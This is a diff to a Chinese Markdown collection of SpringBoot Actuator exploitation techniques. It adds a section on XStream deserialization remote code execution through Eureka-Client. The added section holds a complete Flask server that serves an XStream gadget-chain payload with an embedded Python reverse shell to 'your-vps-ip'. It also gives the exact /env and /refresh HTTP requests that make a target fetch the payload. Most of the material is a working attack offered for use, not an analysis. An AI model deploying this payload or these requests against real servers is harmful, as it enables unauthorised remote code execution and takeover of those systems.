@@ -134,14 +134,16 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
134
134
135
135
#### ** 利用条件:**
136
136
137
+ - 可以 POST 请求目标网站的 ` /env ` 接口设置属性
138
+ - 可以 POST 请求目标网站的 ` /refresh ` 接口刷新配置(存在 spring-boot-starter-actuator 组件)
137
139
- 目标使用了 spring-cloud 相关组件
138
- - 可以请求攻击者的 HTTP 服务器拉取文件 (请求可出外网)
140
+ - 目标可以请求攻击者的 HTTP 服务器 (请求可出外网)
139
141
140
142
141
143
142
144
#### ** 利用方法:**
143
145
144
- ** 步骤一:** 托管 yml 和 jar 文件
146
+ ##### 步骤一: 托管 yml 和 jar 文件
145
147
146
148
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
147
149
@@ -170,7 +172,7 @@ python3 -m http.server 80
170
172
171
173
172
174
173
- ** 步骤二:** 设置 spring.cloud.bootstrap.location 属性
175
+ ##### 步骤二: 设置 spring.cloud.bootstrap.location 属性
174
176
175
177
spring 1.x
176
178
@@ -192,15 +194,14 @@ Content-Type: application/json
192
194
193
195
194
196
195
- ** 步骤三:** 配置更新
197
+ ##### 步骤三: 刷新配置
196
198
197
199
spring 1.x
198
200
199
201
```
200
202
POST /refresh HTTP/1.1
201
203
Content-Type: application/x-www-form-urlencoded
202
204
203
-
204
205
```
205
206
206
207
spring 2.x
@@ -209,7 +210,6 @@ spring 2.x
209
210
POST /actuator/refresh HTTP/1.1
210
211
Content-Type: application/json
211
212
212
-
213
213
```
214
214
215
215
@@ -227,13 +227,150 @@ Content-Type: application/json
227
227
228
228
#### 漏洞分析:
229
229
230
- [ Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记] ( https://www.anquanke.com/post/id/195929 )
230
+ [ Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记] ( https://www.anquanke.com/post/id/195929 )
231
+
232
+
233
+
234
+
235
+
236
+ ### 0x03:XStream deserialization RCE
237
+
238
+ #### ** 利用条件:**
239
+
240
+ - 可以 POST 请求目标网站的 ` /env ` 接口设置属性
241
+ - 可以 POST 请求目标网站的 ` /refresh ` 接口刷新配置(存在 spring-boot-starter-actuator 组件)
242
+ - 目标使用了 ` Eureka-Client < 1.8.7 ` (通常包含在 spring-cloud-starter-netflix-eureka-client 中)组件
243
+ - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
244
+
245
+
246
+
247
+ #### ** 利用方法:**
248
+
249
+ ##### 步骤一:架设响应恶意 xstream payload 的网站
250
+
251
+ 下面是一个依赖 Flask 的符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell:
252
+
253
+ ``` python
254
+ # !/usr/bin/env python
255
+ # coding: utf-8
256
+ # -**- Author: LandGrey -**-
257
+
258
+ from flask import Flask, Response
259
+
260
+ app = Flask(__name__ )
261
+
262
+
263
+ @app.route (' /' , defaults = {' path' : ' ' })
264
+ @app.route (' /<path:path>' , methods = [' GET' , ' POST' ])
265
+ def catch_all (path ):
266
+ xml = """ <linked-hash-set>
267
+ <jdk.nashorn.internal.objects.NativeString>
268
+ <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
269
+ <dataHandler>
270
+ <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
271
+ <is class="javax.crypto.CipherInputStream">
272
+ <cipher class="javax.crypto.NullCipher">
273
+ <serviceIterator class="javax.imageio.spi.FilterIterator">
274
+ <iter class="javax.imageio.spi.FilterIterator">
275
+ <iter class="java.util.Collections$EmptyIterator"/>
276
+ <next class="java.lang.ProcessBuilder">
277
+ <command>
278
+ <string>/bin/bash</string>
279
+ <string>-c</string>
280
+ <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
281
+ </command>
282
+ <redirectErrorStream>false</redirectErrorStream>
283
+ </next>
284
+ </iter>
285
+ <filter class="javax.imageio.ImageIO$ContainsFilter">
286
+ <method>
287
+ <class>java.lang.ProcessBuilder</class>
288
+ <name>start</name>
289
+ <parameter-types/>
290
+ </method>
291
+ <name>foo</name>
292
+ </filter>
293
+ <next class="string">foo</next>
294
+ </serviceIterator>
295
+ <lock/>
296
+ </cipher>
297
+ <input class="java.lang.ProcessBuilder$NullInputStream"/>
298
+ <ibuffer></ibuffer>
299
+ </is>
300
+ </dataSource>
301
+ </dataHandler>
302
+ </value>
303
+ </jdk.nashorn.internal.objects.NativeString>
304
+ </linked-hash-set>"""
305
+ return Response(xml, mimetype = ' application/xml' )
306
+
307
+
308
+ if __name__ == " __main__" :
309
+ app.run(host = ' 0.0.0.0' , port = 80 )
310
+
311
+ ```
312
+
313
+
314
+
315
+ 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
316
+
317
+
318
+
319
+ ##### 步骤二:设置 eureka.client.serviceUrl.defaultZone 属性
320
+
321
+ spring 1.x
322
+
323
+ ```
324
+ POST /env HTTP/1.1
325
+ Content-Type: application/x-www-form-urlencoded
326
+
327
+ eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
328
+ ```
329
+
330
+ spring 2.x
331
+
332
+ ```
333
+ POST /actuator/env HTTP/1.1
334
+ Content-Type: application/json
335
+
336
+ {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
337
+ ```
338
+
339
+
340
+
341
+ ##### 步骤三:刷新配置
342
+
343
+ spring 1.x
344
+
345
+ ```
346
+ POST /refresh HTTP/1.1
347
+ Content-Type: application/x-www-form-urlencoded
348
+
349
+ ```
350
+
351
+ spring 2.x
352
+
353
+ ```
354
+ POST /actuator/refresh HTTP/1.1
355
+ Content-Type: application/json
356
+
357
+ ```
358
+
359
+
360
+
361
+ #### ** 漏洞原理:**
362
+
363
+ 1 . eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
364
+ 2 . refresh 触发受害机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
365
+ 3 . 目标机器相关组件解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
366
+
231
367
232
368
369
+ #### ** 漏洞分析:**
233
370
371
+ [ Spring Boot Actuator从未授权访问到getshell] ( https://www.freebuf.com/column/234719.html )
234
372
235
373
236
- ### 0x03:xstream deserialization RCE
237
374
238
375
239
376
0 commit comments